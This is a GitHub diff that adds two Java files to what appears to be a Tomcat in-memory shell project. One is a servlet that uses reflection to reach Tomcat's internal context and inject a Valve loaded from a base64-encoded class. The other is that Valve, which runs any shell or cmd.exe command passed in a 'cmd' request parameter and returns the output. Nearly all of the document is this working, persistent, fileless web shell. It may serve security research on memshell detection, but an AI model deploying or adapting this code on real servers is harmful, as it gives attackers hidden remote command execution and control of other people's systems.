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63 changes: 63 additions & 0 deletions
63
...omcat/ServletAPI/TomcatServletAPIMemshell/src/main/java/com/summer233/AddTomcatValve.java
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,63 @@ | ||
| package com.summer233; | ||
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| import org.apache.catalina.Valve; | ||
| import org.apache.catalina.core.StandardContext; | ||
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| import javax.servlet.ServletContext; | ||
| import javax.servlet.ServletException; | ||
| import javax.servlet.annotation.WebServlet; | ||
| import javax.servlet.http.HttpServlet; | ||
| import javax.servlet.http.HttpServletRequest; | ||
| import javax.servlet.http.HttpServletResponse; | ||
| import java.io.IOException; | ||
| import java.lang.reflect.Field; | ||
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| // import static com.summer233.DynamicUtils.VALVE_CLASS_STRING; | ||
| import static com.summer233.DynamicUtils.SUMMER_CMD_VALVE_CLASS_BASE64_STRING; | ||
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| /** | ||
| * 访问这个 Servlet 将会动态添加自定义 Valve | ||
| * 测试版本 Tomcat 8.5.31 | ||
| * | ||
| * @author su18,233 | ||
| */ | ||
| @WebServlet(name = "AddTomcatValve", urlPatterns = "/addValve") | ||
| public class AddTomcatValve extends HttpServlet { | ||
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| @Override | ||
| protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { | ||
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| try { | ||
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| // 从 request 中获取 servletContext | ||
| ServletContext servletContext = req.getServletContext(); | ||
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| // 如果已有此 servletName 的 Servlet，则不再重复添加 | ||
| StandardContext o = null; | ||
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| // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象 | ||
| while (o == null) { | ||
| Field f = servletContext.getClass().getDeclaredField("context"); | ||
| f.setAccessible(true); | ||
| Object object = f.get(servletContext); | ||
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| if (object instanceof ServletContext) { | ||
| servletContext = (ServletContext) object; | ||
| } else if (object instanceof StandardContext) { | ||
| o = (StandardContext) object; | ||
| } | ||
| } | ||
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| // 添加自定义 Valve | ||
| // o.addValve((Valve) DynamicUtils.getClass(VALVE_CLASS_STRING).newInstance()); | ||
| o.addValve((Valve) DynamicUtils.getClass(SUMMER_CMD_VALVE_CLASS_BASE64_STRING).newInstance()); | ||
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| resp.getWriter().println("tomcat valve added"); | ||
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| } catch (Exception e) { | ||
| e.printStackTrace(); | ||
| } | ||
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| } | ||
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| } |
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53 changes: 53 additions & 0 deletions
53
...omcat/ServletAPI/TomcatServletAPIMemshell/src/main/java/com/summer233/SummerCMDValve.java
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,53 @@ | ||
| package com.summer233; | ||
|
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| import java.io.IOException; | ||
| import javax.servlet.ServletException; | ||
| import org.apache.catalina.connector.Request; | ||
| import org.apache.catalina.connector.Response; | ||
| import org.apache.catalina.valves.ValveBase; | ||
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| import java.io.InputStream; | ||
| import java.io.PrintWriter; | ||
| import java.util.Scanner; | ||
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| public class SummerCMDValve extends ValveBase { | ||
| public SummerCMDValve() { | ||
| } | ||
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| public void invoke(Request request, Response response) throws IOException, ServletException { | ||
| try { | ||
| response.setContentType("text/html; charset=UTF-8"); | ||
| response.setCharacterEncoding("UTF-8"); | ||
| response.getWriter().println("Here is SummerCMDValve~<br>"); | ||
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| String cmd = request.getParameter("cmd"); | ||
| if (cmd != null) { | ||
| boolean isLinux = true; | ||
| ProcessBuilder processBuilderOS = new ProcessBuilder("whoami"); | ||
| Process processOS = processBuilderOS.start(); | ||
| InputStream inOS = processOS.getInputStream(); | ||
| try (Scanner scannerOS = new Scanner(inOS).useDelimiter("\\a")) { | ||
| String outputOS = scannerOS.hasNext() ? scannerOS.next() : ""; | ||
| // 如果输出中包含 \ 则说明是Windows, 毕竟 Linux 用户没有域名, Windows 的 whoami 输出是 域名\用户名 | ||
| if (outputOS.contains("\\")) { | ||
| isLinux = false; | ||
| } | ||
| } | ||
| String[] cmds = isLinux ? new String[] { "sh", "-c", cmd } | ||
| : new String[] { "cmd.exe", "/c", cmd }; | ||
| InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); | ||
| try (Scanner s = new Scanner(in).useDelimiter("\\a")) { | ||
| String output = s.hasNext() ? s.next() : ""; | ||
| try (PrintWriter responseWriter = response.getWriter()) { | ||
| responseWriter.println(output); | ||
| responseWriter.flush(); | ||
| } | ||
| } | ||
| } | ||
| } catch (Exception var5) { | ||
| var5.printStackTrace(); | ||
| } | ||
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| this.getNext().invoke(request, response); | ||
| } | ||
| } |